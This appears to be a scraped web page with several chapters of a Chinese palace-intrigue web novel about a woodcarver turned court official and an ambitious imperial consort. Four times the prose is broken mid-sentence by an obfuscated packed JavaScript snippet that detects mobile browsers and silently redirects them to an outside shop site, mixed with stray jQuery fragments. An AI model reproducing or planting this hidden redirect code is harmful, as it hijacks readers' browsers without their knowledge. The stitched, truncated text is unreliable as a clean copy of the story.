;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790765|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的庆幸也只会转瞬即逝,景安帝喜欢佛法,连带着爱送活人去涅槃轮回。谁也不知道自己能不能活到下一次。
她认识的那个丫头甚至没活过二十。
刘霜清的命运却不拘于此,她成了贵妃。说到底,那些可以用来争宠的手段,不过是世人给女子灌的迷魂汤:会随着年龄衰退的美貌,以真心窥探不见帝王的真心,对药理的精益求精往往带来杀生之祸,再忠心出众的下属也不过是同她一样困在宫里的可怜人。
是的,比起这些,刘霜清认为成为宠妃、夺得权势的关键是——对朝堂的足够了解。
后宫内,主战派的王家一家独大。主和派的妃嫔们始终没有生息。刘霜清不过是添了把火。
她出身平民,宛如浮萍般无依无靠。而皇帝对于低位嫔妃的处理总是随意的。刘霜清只是在得宠的时候,投靠了正好无人可用的主和派,成了皇帝的新一任贵妃。
要真论起志向……斗倒皇后也会有新的皇后。宫里最不缺的就是美人。
她的敌人从来不是皇后。她想当的也从来不是一个贵妃……比起扭曲千年不变的宫中法则,她更想成为那高居其上的使用者。
她需要人手。
而这位和她同为商户女的晏楚鹤,她很欣赏。
见晏楚鹤沉住气,刘霜清不紧不慢地打了个哈欠:“楚尚功近日可还满足?”
晏楚鹤自然看得出眼前女性向自己展露的善意,以及对方眼底的锋利、精明、果敢……看来她猜的没错。
这位王家女的眼中钉肉中刺,皇帝的心头好并非常人。
刘霜清出身平凡,野心无穷,眼下急需人手。
她还在试探她。
“满足与否并不好说,”晏楚鹤笑着答道,“下官和娘娘想的一样。”
晏楚鹤的能力刘霜清已经全都了解。不怕问题的信心,敢于做事的胆量,面对困难的坚定与手腕。晏楚鹤全都具备,能将孤鹤堂经营得风生水起,这丫头肯定是有一番本事。
刘霜清也笑着,突然提问道:“本宫最近有些头疼,你这吞日金蟾只解决一半。”
“还请娘娘明示。”
“它只知吞吐,将这日之精魄纳于己腹,固然能聚敛财气与祥瑞。可若这天地本身便是囚笼,光纳入口中又有何用?不过是困于方寸之间,自得其乐罢了。”
“娘娘的意思是?”
只见刘霜清话锋一转,倏地接过侍女拿的那卷《女则》敲向桌面,发出沉闷的声响:“本宫近日总在想,这天下女子总读这些——到底是前朝之物,未必受用于本朝女子,楚尚功,你觉得呢?”
晏楚鹤心头一跳,这个问题倒是不在她预料之中。
……有趣。
9. 是时仓廪实
“娘娘明鉴。下官倒是以为,儒教对女子的要求不过这几点,便是再在当朝中择人写些《女仪》《女训》,想来也是一样的。”
晏楚鹤这话说得大胆,她很相信自己的判断,刘贵妃拿受束缚的吞日金蟾做对比,想的肯定不是再作些束缚女子的读物。
果然,刘霜清的声音温和了不少,她开门见山道:“楚尚功说的不错。本宫思量着,在宫中或京中,办一处‘女学’,你觉得呢?”
晏楚鹤愣了愣:“敢问娘娘打算如何应对朝臣?”
尤其是那些正支持着刘贵妃的保守派,他们对个佛骨都能不顾性命拼命劝谏,遇到这样挑战礼教的举动只会更加反对。
“本宫自然懂得你的考量,”刘霜清依旧温和地说着,“我不教经世致用之学,只教些同你这样的手艺。”
晏楚鹤见对方有问必答,心中更觉好奇,也不再掩饰:“娘娘为这女学想必筹谋良久,难道只是为了让几个女孩多门手艺?”
“不错,”刘霜清倾身向前,带着不容置疑的肯定,“她们学成了,或许能为自己挣一份不仰仗父兄夫婿的体己钱,或许能因这手技艺,像你一样被召入府邸,这样的女子自然是越多越好。”
“摆脱父兄,不受桎梏,想同男子一样行走与世间,你我都知道有多难。可这世上的事,总得有人先走一步,后人方能循着路走。”
说的这般光明磊落,刘霜清自己心理清楚,她说这话时特意只留心腹在场,毕竟,这样大逆不道的事情这根本不可能。
培养女学,不过是实在无人可用。
她也只是想要自己的眼线罢了。
刘霜清侧眸看向晏楚鹤,年轻人眉飞色舞、目光灼灼,显然是对她描述的情景心生向往。刘霜清对自己准备的话术十分得意。
想来,她可以凭这套言辞,将天下有才之女尽收麾下。这世上女子男子各占一半,朝中两派争夺的,不过一半男子之才,她却能独握十成女子之智。
思及此,刘霜清笑意更浓,但很快换成珍重的样子:“楚鹤,你精于匠艺,又有孤鹤坊的成果在,由你主持女学再合适不过。告诉本宫,你可愿——同我一起做这先行之人?”
“下官心甘情愿!”
同意,晏楚鹤心里远没有她自己表现的那么激动,她只是有些诧异。
呦,这贵妃还是个浪漫主义,这样的话,也就只能骗骗没见识的年轻丫头。但确实,很有意思。她一开始选择给她雕刻没有选错。
于是,晏楚鹤恭敬地行了个士人间爱摆弄的礼,刘霜清立刻亲自下榻将她扶起,语重心长地说着煽情的台词:“你可知,这意味着你要放弃尚功的位置。”
“民女如贵妃一样,不为眼前名利,只为天下女子开路。”
是以,两个各有算计的女子,在这一刻相互哄骗,倒是真地达成合作,企图促成件天下未有之大事。
——
升职成了功的这段时间虽短暂,晏楚鹤却见了许多人事。
先前提到,这宫里同她年纪相仿的低位妃子就有百余人,话本里的宫斗手段她们根本无从施展。除了基本的吃穿用度,剩下的便是全看皇帝的心情。一年到头能见到皇帝一次都算幸运。与家人断绝,困于深宫,没有子嗣,就几乎断了所有晋升的可能。
晋升到高位妃,也并不意味着可以摆脱全权由帝王掌控的人生。晏楚鹤有幸目睹了皇帝是如何对待那位吐蕃的和亲公主——在大夏和蕃国的战争发生的那一刻,没庐·策芮就已经是弃子了。
她为了今日的地位,所付出的努力,放下的尊严,还有无数个煎熬的日日夜夜,在这时候也全都烟消云散。
“传皇后娘娘懿旨,没庐氏行为不检,失仪于内庭,怠慢宫礼,妄生怨怼,败乱和好。其罪虽外藩,礼法所不容。着即赐以毒酒,速行勿疑。”
晏楚鹤今夜本在尚功局摸鱼,被刘霜清当作自己人临时召来,领了个携灯的差。同她一并和刘霜清来这冷宫的,也只有刚刚宣旨,刘霜清身边那位名叫暄儿的女官,以及几个健壮的太监。
他们都在看着这位——昔日的吐蕃公主,如今被押到冷宫的废妃。听说她不过三十出头,此刻却是满面枯容,想来青春荣华全都葬送在这深宫中。
作为吐蕃精挑细选的贡品,她的美貌只剩下些微末的痕迹。她并不是只有美貌的,那一口流利的汉语是许多外邦人日夜努力也达不到的。
“皇上他,当真如此不念旧情。”
她依着床榻,正直勾勾地看着晏楚鹤。那里头的情绪很复杂,将死之人的悲恸,错付痴情的执念,晏楚鹤说不清楚,她在梦里见过这样的神情,在现实中还是头一次。
当然,挡在贵妃面前,被迫接受这道视线的晏楚鹤没什么好回答的。而站在一旁,那叫暄儿的年轻女官嘴快,让人一时猜不出她说话的用意:“没庐氏,你宫里从未有过孩子确实是陛下的考量。可这次吐蕃的事明明是部族叛乱,和你父亲无关,下旨要你父亲人头的也是陛下。你也别太难过,要说无情,这宫里这么多娘娘……”
晏楚鹤挑眉,这样恼人的话——她看向刘霜清,后者正坐在椅子上喝着茶,她像以往一样,相信晏楚鹤不会告密。
“我父亲没反?我就知道我父亲没反!”没庐氏发出近乎痴狂的笑,随即转为悲凉,“皇上啊皇上,妾远嫁千里,不求真心以待,不求魂归故国,您为何要这般无情——”
她说着就要往墙上撞去,晏楚鹤当然来得及拦,但在这之前,贵妃带着那几个太监早有准备,眼疾手快地将人按住。
这时,刘霜清才像个看够了苦情戏码的看客,慢悠悠地起身,给皇帝的行为一锤定音:“陛下也是无可奈何。”
晏楚鹤头一次见到,刘霜清露出这般无情又悲哀的神色:“都说人之将死其言也善,没庐氏,你满脑子里只有这些?”
没庐·策芮停下挣扎,正一脸茫然。
刘霜清的怒意反而更明显了。依旧是暄儿先开口:“你刚入宫时给皇后下毒,害得多少宫人被株连。你宫里的姐姐不过穿着鲜艳点,就会被你找由头责罚出宫。昔日和您有过冲突的妃嫔更是可怜。
当然,下官也明白,您从前是公主,自然不把我们这些人当人。可您为博皇上欢心自称雪山神女时,没少逼迫侍候你的宫人在寒冬里手握火炭,酷暑中日日捧冰,多少双巧手就此废了……桩桩件件,数不胜数。”
见没庐·策芮脸上终于泛起恐惧,刘贵妃叹了口气,总结道:“是了,比起什么帝王真心,你的死因纯粹是作恶太多遭了报应,你最该反思的也是这个。”
晏楚鹤听到贵妃的这一番发言,心里称奇。话本里,再恶毒的妃子也往往落个被皇上厌倦,痴情错付伤心欲绝的结局。她还是头一次看到下人控诉、大仇得报的场景,确实新奇。
……但是,贵妃有资格说这种话吗?晏楚鹤还没忘记黄尚功的下场。试问,刘霜清从商户女爬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790766|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到这样的地位,背后难道没有什么阴私勾当?不过是现下更光明磊落罢了。
晏楚鹤对这些假意有些厌倦了。
次日,她去皇后宫里做事时,又提到了这一遭。皇后知道她在场,便多聊了几句,
这位王皇后和贵妃年纪相仿,瞧着慈眉善目。晏楚鹤清楚,害死她父母的正是王家人,她进宫的这段时日,最为关注的也是这位王家的女儿。不过作为六宫之主,这位王皇后无疑是用心且合格的。毕竟,很少有人能把近欠人的后宫管理得这样秩序井然——哪怕是靠每年增添大量新的秀女。
“没庐氏也是咎由自取,”王皇后语气平淡,她见惯了宫妃生死,“说到底,女子固然可怜,男子不亦无辜。”
晏楚鹤:???
她确实愣住了。王皇后自顾自地和其他宫妃继续闲聊:“前些时日,本宫听说武昌侯路大人的儿子——我早些年曾见过他,长相文采俱佳,同他父亲年轻时一般无二,还不是被——逼成现在这样子。
皇上拿那孩子取笑,说他总和他父亲提些不着调的想法,闹到离家出走,好不丢脸。如今日夜借酒消愁,沉溺于秦楼楚馆,虚掷光阴……听着便叫人觉得可怜。”
晏楚鹤在一旁默默听着,她倒觉得,比起这路某某,皇后要可怜多了。
——
不过最可怜的,还是他们这些下人。
晏楚鹤作为尚功,为这次太后寿宴忙里忙外,累得半死。这还是在她记忆力好,脑子灵光的情况下。而宫中贵人确实要享受多了,那刘贵妃近十多年没出过宫,凭空冒出用不尽的精力,一心要办好女学。眼下,人选有了,地点有了,唯独缺少提这件事的时机。
变数来得猝不及防,就在这场太后的寿宴。
原先作寿礼的琥珀雕最后还是被刘霜清留在私库里,换了对毛色出众的飞禽,那副乖顺样子叫太后很是喜欢。
晏楚鹤站在刘霜清身后,那叫暄儿的女官如今和她混得还算熟,小声给她介绍:“那对雕儿还是从前派去吐蕃和亲的永宁公主养的,公主走后,它们便听不得人话到处乱飞,娘娘只好剪掉最长那根飞羽……哎。”
这丫头看着头脑简单心直口快,其实总是话里有话。晏楚鹤暗自记下,继续眼观鼻鼻观心,
冬日的宴会总是这般热闹,除了被关禁闭的路家父子,晏楚鹤倒是在贵妃身后,把这些有资格来的重臣们全都认了个遍。
这些记忆是别开生面的。她在梦中经历的只有蜀地人的生活,劳作和战争,与这些官员离得极远。
殿内炭火烧得正暖,一曲又一曲,半点也不像打战的国家,景安帝斜倚在龙椅上,似乎很不尽兴:“朕记得,前阵子是不是来了个擅雕刻的女官?如今该是——”
坐在他身旁的换成王皇后——她先前称病半年,如今朝里仰仗她王家人去打仗,宫中宠妃又死了一批,她眼下风头正盛,病也跟着好了。她正端庄地笑着:“陛下,您说的是楚尚功吧?”
“对对对,就是她,”景安帝抚掌一笑,指着窗外,语气机器轻松:“这几日雪厚如银,冰冻坚硬,不如众爱卿去东苑湖里寻一块寒冰。交由楚尚功雕刻一二,当然,其他自认能工巧匠的,不必拘泥,朕自会品评高下。”
晏楚鹤愣了愣,皇帝之前对雕刻的兴趣并不大:“敢问陛下,下官要雕刻什么呢?”
“城外不是在闹饥荒吗?想来百姓们抢饭的样子一定十分有趣,你雕给朕看吧。”
10. 洞达寰区开
“城外不是在闹饥荒吗?想来百姓们抢饭的样子一定十分有趣,你雕给朕看吧。”
不是人啊。
这景安帝和半年前晏楚鹤第一次见到时相比,更不像人了。
啧,晏楚鹤只觉胃部一阵翻涌,谁会愿意雕刻这玩意——在她走出来的间隙里,已经有人去那湖里凿冰块了。
还真是她不雕,有的是人愿意雕。看着满朝文武皆是垂手屏息,无一人发声,反倒是做足了要去争先恐后抢冰块的准备。晏楚鹤也忽然反应过来,敢在这时候说话的,不是被流放就是被禁足在家。
这个王朝果然已经到了末路。
而现在,她能想到的对策有三种。
下策,按景安帝的要求毕恭毕敬地雕一个,那样她就真地和在座的这些人没什么区别,不过是狗皇帝座下最常见的一只狗罢了。
中策,就地取材,改用宴上的食物进行雕刻,既有新意,而且食物吃了就没,她至少脸少丢点。
至于上策,只能是义正言辞地拒绝,像众多名垂青史的人物,最好当场一头撞死。
总之,在晏楚鹤选择入宫的时候,就已经没有退路。
晏楚鹤并不介意雕那些深刻的悲剧。她可以雕出百姓们的凄惨,但绝对不能用来作为取悦上位者的工具。
一曲终了,万籁俱寂,坐在龙椅上的那位在等她的答案。
她规矩地行礼,恭敬地从太监那结果刻刀,最快的那批大臣已经取回冰块,这些人就算手冻得发红也要讨好帝王。晏楚鹤笑着打量这快有半个高的冰块。
……好在景安帝出的题目是她最擅长的雕刻,因此,她又无数冰雕,她无数种方式解决。脑海中的思路逐渐成型,那股戾气也越来越重,现在还不是时候发泄,她需要选出最给皇帝留面子的那种。
那么,出气的对象——晏楚鹤看着冰面在烛灯下的倒影,几乎是立刻有了主意,不过半台戏的时间,她手快,全部雕完,这冰块也才微微化掉些许。
和寻常雕刻不同,冰上雕刻的机会难得,对匠人的耐力、速度、基本功都有很大的考验。大夏宫里鲜有人玩过这玩意,以至于连专业工具都没有。再加上冰雕出了错几乎无法补救——晏楚鹤雕得相当过瘾。
飞溅的冰屑化作水滴落在地毯上。反正这冰雕迟早也会融化,晏楚鹤也就雕了个大概应付了事。当然,只是这样的技术在这些皇亲贵胄眼里也已堪称神乎其技。
只见约莫十几个人影跪伏在地,面目扭曲,形态非人,他们正撕扯着、高举着一块方正的冰块。最上方则是一只悬空的手,姿态暧昧叫人看不清,比起慷慨地赐下那块冰,更像是要接过一样。
“这怎么还有个人在赏赐食物?”
晏楚鹤垂眸答道:“自然是陛下的天威英姿。”
一旁的刘霜清惊讶地说不出话,她离得近,瞧得清楚,这地上爬着的、半人半狗的东西,样貌各个惟妙惟肖,倒和这些大臣可以一一对应。还有这争先恐后把冰块放到皇帝面前的样子,刘霜清悄悄打量着皇帝,景安帝笑得肆意开心,也不知道他看没看出来。
“与其说是饥民分食,依本宫看,倒更像是群臣献冰。”皇后的声音在这时响起,不带喜怒,“楚氏,你倒是有心了。”
这话一出,群臣面色铁青,偏偏说话的是皇后,他们只能怀着怒意地看着晏楚鹤,却也是敢怒不敢言。
无他,只因为景安帝现在非常喜欢。
晏楚鹤更加明确,这里早就是景安帝的一言堂,
她要利用这点——这个千载难逢的机会。
“皇后说的有意思,”年迈的皇帝笑得上气不接下气,整个身子歪在龙椅上,由几个容貌姣好的太监宫女忙不迭地轻抚后背顺气。他笑够了,才抬起一根手指,虚虚地点着冰雕,“小楚啊,你雕的这朝臣……凑近了看,怎么越看越像畜生,总不能是手滑吧?”
“陛下明鉴,”晏楚鹤俯身,神色恭敬,“下官手艺粗陋,雕刻时,亲眼见诸位大人不惧严寒、争先为陛下取冰的忠恳之态,心中感佩万分。故此像意取双关,一为城外灾民乞食,二为朝中群臣献冰。这类狗的雕像也并非野犬,而是‘忠犬’,喻我朝之忠臣心向龙座,故雕人犬并体,以示赤诚不二。”
“忠犬?”
晏楚鹤镇定自如地指着这些明显是野狗的东西,“下官不敢妄言,但听宫里常说,狗有三德——认主、嗅食、护骨。认主者忠,嗅食者勤,护骨者慎。下官以为,当今朝堂,三德俱全者,不在少数。”
话音一落,殿内几位权臣脸色瞬时铁青。晏楚鹤暗自咬牙,她在赌。
半年的宫廷生活,她看到了宫闱的腐败、富贵、让人疯狂的权力,看清了自己与之的距离。
她没有背景,只有这身雕刻技艺,因此,能依靠的也只有这样的机会。
哪怕要成为今后群臣的公敌,她也要做第一个踏上朝堂的女官。
同她想的差不多,景安帝再次哈哈大笑:“说得好,说得好!朕以前没发现楚尚功妙语连珠,留在后宫未免屈才,既如此,就封你为监察御史。”
“陛下!她为女子,如何舍得?!”
“李大人可是在质疑朕的决定?”景安帝皱眉,反问道:“你们中有谁雕得比这更讨朕欢心?有谁说得比这更叫朕舒心?”
被推出来的家伙被侍卫们利落地带了下去,现在,再荒唐的决策都无人敢反对。
晏楚鹤的弦紧绷着,一刻不敢懈怠,但同时,一股说不清的惊喜涌了上来。
她赌赢了。
直到看到尚功局赶制的朝服,那样的喜悦有了实感。凭借昏君的一句荒唐话,她真的能登上朝堂。
这只是开始。
她要靠自己登上权力的顶峰,碾碎王家,甚至改变皇权。
……是个人都要笑话她妄想吧。
——
景安帝封她当官自然是图一乐,更何况,在这位帝王眼中男女虽有别,但远不及君臣奴仆之间的鸿沟。武昌侯路大人死后,皇帝倒是愈发肆意,宫人减少的速度远超以往任何时机。
皇后以为战士们祈福的理由,顺着皇帝的心意调了许多人削发出家,召请大师无数,日日举行劳民伤财的法事。至于皇帝本人——正逢年尾,在外地的王爷们都回京述职,朝堂上年轻的皇子一个比一个英气勃发。景安帝看在眼里,心中愈发焦躁,性情也就更加乖戾。
刘贵妃也焦急,皇帝性子如今这般难测,她心心念念的女学始终找不到合适的时机,被一再搁置。到了年尾终于有了机会,只是从正儿八经的学堂变成开设收养遗弃女婴的教坊。是的,名为‘内训坊’宫外组织,刘霜清最后是用“为皇帝储选佳人”的由头才顶下这事。晏楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790767|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鹤半年和刘霜清等人相处,清楚这位贵妃并不在乎这些名号,只是不知道那代替晏楚鹤去管理这教坊的暄儿怎么想。
平日宫里那些女官姊妹中,暄儿最是刚烈,心直口快的样子总叫人担心。不过晏楚鹤对暄儿远不如她和贵妃间知心,便也不好估量。
同样忧心忡忡的还有王皇后。与吐蕃的战事本以为半月可平,拖到如今已半年,反而越发吃紧。前线的战士们平日被克扣惯了缺少训练,如今疲敝已极,又碰上饥荒,后续的粮草供应不上,倒真有被反扑之势。昔王皇后的兄长正是主将,若局势再有失,她王家必受牵连。
比前线更早爆发的,是城外的暴乱。晏楚鹤当时忙着新官上任,对这事只是略有耳闻。那位益州都督——被罚了禁足的武昌侯路勤礼路大人私下里亲自用积蓄赈灾,反而被暴民打死。要不是后来大理寺查出,暴民中还有混入前朝的刺客这路大人才不算白死。景安帝最忌旧朝势力,这才勉强替他平反,追封不薄。路家独子袭爵,重新得宠,一上来便补上了户部侍郎的空缺。
有那样一个总和皇帝叫板的爹,这路小侯爷想当个官,真是不容易。
晏楚鹤的官路在某种程度上要容易多了,她仗着没有背景依靠,做事更是不怕得罪这些大臣——景安帝也确实是喜欢看她让人吃瘪的样子才让她当这个御史。
当然,为了不牵连旁人,她现在的生活也很不一样。
晏楚鹤一出宫就编了“师父孤鹤大师”被她这个不孝徒气死的流言,又装模作样地办了场葬礼,顺势解散了孤鹤堂。毕竟现如今普通百姓已经没钱买雕物,权贵们又不愿意明面上同她往来,再办也没什么收益。
昔日热闹的小院如今空落落的,只剩下她和几个胆大的长工。晏楚鹤倒是觉得这孤身一人,整日提心吊胆,防备他人的新生活,简直像刀尖上起舞,别有翻滋味。
如今,皇帝一个月虽然就上三四次朝,每次却都要拿几个倒霉蛋开刀。此外,政务多由六部各自决断,而晏楚鹤在的御史台专职检举弹劾。
而这洛阳京城的士族门阀全都像王家一样,手底下沾染不少她爸妈那样小人物的命。偏偏那些老东西贼的很,知道皇帝现在喜怒无常,一个个都不露出马脚,收敛得很,只知道推手底下的人顶罪,晏楚鹤便也顺着,拿这些人立功。
只要不涉及君权,景安帝相当乐意看她揭发那些草菅人命、野心勃勃的贪官——尽管皇帝本人远比这更加恶劣。
这样的日子不会持续很久。大夏国底蕴悠久,而吐蕃不过是未开化的异族,几乎所有人都认为战争的饥荒不过暂时的事。而且,是个人都看得出,景安帝的精气神已经完全靠着药物吊着,恐怕时日无多。
让哪个皇子上位对她而言最有利呢……下了朝,晏楚鹤对着桌上的文件发呆。
说起来,新上任的小侯爷非常奇怪。
此人的政见和晏楚鹤的想法全然不同。
就拿这次饥荒举例,
不是主张压制信息,从其他地方调动粮草,用极其有限的救助只求维护虚假稳定的保守派,也不是借着饥荒的由头,以强硬军事手段封锁灾区,将饥民导向北方边境以消耗帝国的扩张主战派。
而是革新,
给流民分配土地,改革科举考核……他在想什么啊?!
这样子的国家如何革新?!
11. 猛士思灭胡
【臣路斐谨奏:窃见今饥荒频仍,饿殍载道,实乃上天垂戒,亦人事之不修也。若但循旧例……皆非长治久安之策。臣愚见,当行屯田安民之法……】
比他那个只知道劝谏皇帝的爹还要天真,晏楚鹤读着,眉头越拧越紧,京都郊外哪来的土地可以分给饥民?自大夏过开国以来,土地便被各个世家牢牢盘踞,那些权贵门第错综复杂,就是她这些日子检举了好些个……
——被她检举抄家的大臣有的是土地啊!
晏楚鹤突然回过味,立刻重新审视起这份曾被她嘲笑的奏章。
【臣闻,政在得人,人乱则政废……陛下忧民,何如先忧吏?臣请清吏籍,凡十年未更者悉罢……】
初时,她只当个乐子。改善吏治说得容易,可这满朝上下谁得空,谁又有这个胆子?
现在再想又突然想通,倒确实有这么一个人,虽然名列保守派不过是借势苟存,真真如无根浮萍般,无依无靠,一门心思执意向上爬,宁可靠着得罪朝中权臣世家也要取悦皇帝。
那样的疯子,满朝上下只有她晏楚鹤一个人。
晏楚鹤自嘲地想。她的桌上确实摆满下属搜集到的各种资料。其中最为瞩目的那一沓正和礼部叶尚书有关。那位看着和蔼的大人不仅强抢民宅、肆意敛财,还纵马伤人,本来不是什么大事,偏偏这位大人私底下不敬神佛的话也被人听到——皇帝就喜欢看晏楚鹤抓住大臣这些把柄,才允许她挑了几个宫人作下属。
只是,这位叶大人是新投靠保守派的。而晏楚鹤为了和王家在的主战派对立,一直投靠的也是保守派的贵妃。只这一点,晏楚鹤不能对他动手。
她背后除了皇帝,只有保守派那点脆弱的支持……说起来,她原先想当然地以为这新上任的路小王爷也会是保守派,毕竟他父亲就是保守到不行的儒家君子。
可他不仅不是,还反过来盯上了她。晏楚鹤不禁倒吸了口气,她倒是可以拿他磨刀。
目标更换,下属像过去一个月一样再次开始忙碌。晏楚鹤已经一个月没有碰刻刀了……这样弄权的日子没有尽头。
但不这样做,被别人随意掌握生死的就会变成她自己。一想到最糟糕的情况,现在的处境反而能容忍多了,掌握她生死的是一个她花了半年时间看透了解的昏君。
更幸运的是,晏楚鹤已经看到了转机。
——
内训坊由贵妃娘娘主持设在宫外,由内廷中选派女官看管,名义上是收留无家可归的女童,将其培育成宫婢、妃子、皇帝的玩物。
如今,主办女学的人选由她变成了令狐暄,晏楚鹤头一次知道暄儿那丫头的全名。
和晏楚鹤不同,令狐暄倒是从从七品的女史变为八品内训使,却因此重新出宫,这番得失也难以说清楚。同是离开了宫,她两人却没什么机会见面。
盯着晏楚鹤的人实在太多,而她现在有不得不和贵妃取得联系的要事,是以绞劲脑汁,费了好一番功夫才瞒过府外的眼线,溜了出去。
这内训坊位于洛阳城南曲水一带,和晏楚鹤想象的比要差太多。狭小的院落被漆上贵妃最爱的朱红,搭上墙边晾着洗净的、带着补丁的布衣,显得那样惹眼。
屋内的女童不是因为饥荒被丢弃,就是一出生就被遗弃的。最小的不过刚出生半个月,还要人抱着哄睡。年岁大些虽有十几岁,却是被父母卖进这换钱,瘦弱得很,大多连名字都没有,一个字都不认识,瞧着可怜可悲。几十号人就这样挤在这个方百余步的院里,全靠贵妃的私房和她的捐款度日。
晏楚鹤叹了口气,只觉任重而道远,便也跨过院门,在里屋见到了暄儿。这丫头也比在宫里时节俭多了,倒把晏楚鹤的着装衬得有些尴尬。
相比于洛阳城正儿八经的其他官员,晏楚鹤平日穿得要简单许多,深黛色襦裙外披绛紫团花补服,腰间挂了块监察御史的玉牌,鬓边只插着那支金丝并蒂莲簪子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790768|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她确实没料到这情况,一问才得知,暄儿这丫头居然连贴身的妆匣都变卖了。
令狐暄倒没在意其他,只是笑着打量晏楚鹤身上那些不寻常的泥泞,她猜晏楚鹤是翻墙过来的,不由得惊讶道:“你居然还有这种功夫。”
“你也一样,”晏楚鹤同平常一样回敬道,“从前宫里,贵妃娘娘身边众人,只有你最爱打扮,如今——我倒是小瞧你了。”
“楚大人莫要误会,你送我的钗子我可没舍得卖。”
“客气了,若是实在缺钱,卖了也无妨。”
“没缺到那种程度,毕竟是你亲手雕的,”令狐暄眨眨眼,狡黠道,“我留着等日后太平了再卖~”
“欸?”晏楚鹤装作一脸单纯,笑着道,“我可没说过那是我雕的。”
“?”令狐暄愣了愣,忙扯着袖子挡在面前,故作委屈:“我敬重你叫你一声楚大人,可不是要你来戏弄我的。也是,楚大人如今是皇帝眼前的红人,在整个御史□□领风骚——”说着,令狐暄作势就要把头上的钗子往地上砸。
晏楚鹤见对方又回到从前在宫里同她嬉笑打趣的样子,心里一喜,忙上前拉住:“好姐姐,我同你开玩笑的。等我得空,自然给你雕个,如今雕工不值钱的。我今儿来是再给你送些银钱,给孩子们添些过冬的衣裳。”
“楚大人亲自跑一趟,怕是还有别的事情吧。”
“我如今被人盯着,诸多不便还请体谅。你这几日若得空回宫,替我和贵妃娘娘传几句话,西南战事有变,王家要出事了。”
令狐暄惊讶于晏楚鹤的情报灵通,误以为是她当了官的缘故,心里泛着些被喜悦压过的艳羡,但她很快又正了神色,连忙追问道:“楚鹤,你可是要娘娘做些什么?”
“娘娘在的保守派中,可有能接替王将军的人选?我需得见上一面。”
令狐暄点头,道:“我想这个人选不难猜,娘娘的长子,宫里的五皇子,燕王窦怀谦。”
12. 将帅望三台
宫里新生皇子众多,能够安稳长大的,不过都是皇后同几位高位妃子的儿女。大概是景安帝造孽太多吧。说起来,储君一事却迟迟未定,满朝上下无人敢提,晏楚鹤也没什么想法。
刘贵妃的长子,这位燕王排第五,比晏楚鹤要大上三四岁,景安帝最是看不惯年轻人,是以所有皇子刚满十五都被打发去封地,这位燕王更是被王皇后一家打压,去了幽州苦寒之地。
令狐暄倒是对这位燕王赞誉颇多,言其待人谦恭有度,知人善任,言谈举止皆有她家娘娘的风采。晏楚鹤自然还是存疑的。这样年轻的人能有多少武艺,恐怕连军营战场都没见过吧?再说,这样的身份,恐怕不见得会将她这个女官的建议放在眼里。
晏楚鹤想要干涉这场战事。
她早年在梦里至少经历了六七回,自认为比谁都了解。吐蕃人人蛮勇无序,联结西域诸部,纵兵劫掠,前朝旧部亦趁乱复起。血光、火光、孩童的哭喊,晏楚鹤不敢忘记。
她同令狐暄就着这事又商量几句,这才原路返还。
宫里的刘霜清听了晏楚鹤的情报,已经信了一半。她深知晏楚鹤不是爱说大话的,再者,她对自己那位长子素来自负,若是王家真的不行了,她巴不得立刻让儿子领兵出征,眼下更是恨不得亲自和晏楚鹤见上一面。
刚好,宫中要办除夕夜宴。文武百官、宗室勋贵悉数到场。
金炉焚沉香,玉盏盛琼浆,殿中帷幔高垂,灯火流彩。丝竹并作,宫伎起舞,除了老生常谈的那些曲目,便是景安帝最近的奇思妙想。晏楚鹤只觉得没趣,却又不能放松。席间群臣献诗,也无非是歌颂帝王,吟咏雪景,她没接触过这些,自然也没兴趣参加。
今夜席上比平日上朝时多了不少人。晏楚鹤忙着认人——她此刻最想找的是那位新上任的武昌侯,只是被宫娥们舞起的衣袖挡住,一时间花了眼。
她暂且是通过奏折、密报、流言认识他的,倒还没亲眼见识下,这位小侯爷传闻中清俊矜贵的长相。
